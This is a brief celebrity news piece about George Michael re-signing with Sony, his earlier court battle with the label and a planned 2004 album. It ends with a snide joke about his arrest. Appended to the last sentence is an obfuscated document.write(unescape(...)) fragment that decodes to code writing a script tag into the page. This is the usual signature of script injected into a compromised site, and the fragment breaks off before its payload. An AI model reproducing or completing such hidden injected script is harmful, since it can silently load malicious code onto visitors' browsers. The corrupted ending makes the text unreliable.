George Michael back with Sony

He has signed to Sony in a new deal proving that he still has ‘Faith' in the relationship although he was cast ‘Outside' by the label.

After accusing them of professional slavery his contract was bought out by Virgin.

George Michael, now 40, has begun work on his first original album since 1996's Older, set for release in early 2004.

"In a career spanning more than 20 years, George has been responsible for nearly 75 million record sales."

No stranger to controversy the former Wham star had been unhappy with his treatment during his original contract with Sony, embarking on a three month court battle.

After the failure of the court case, Michael recorded two more songs, Outside and As, under the label as part of an agreement to record new material for a greatest hits album.

I'm sure we'll all be hearing much more from the star shortly, let's hope that this time it's for his music and not related to visits to the little boys room.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22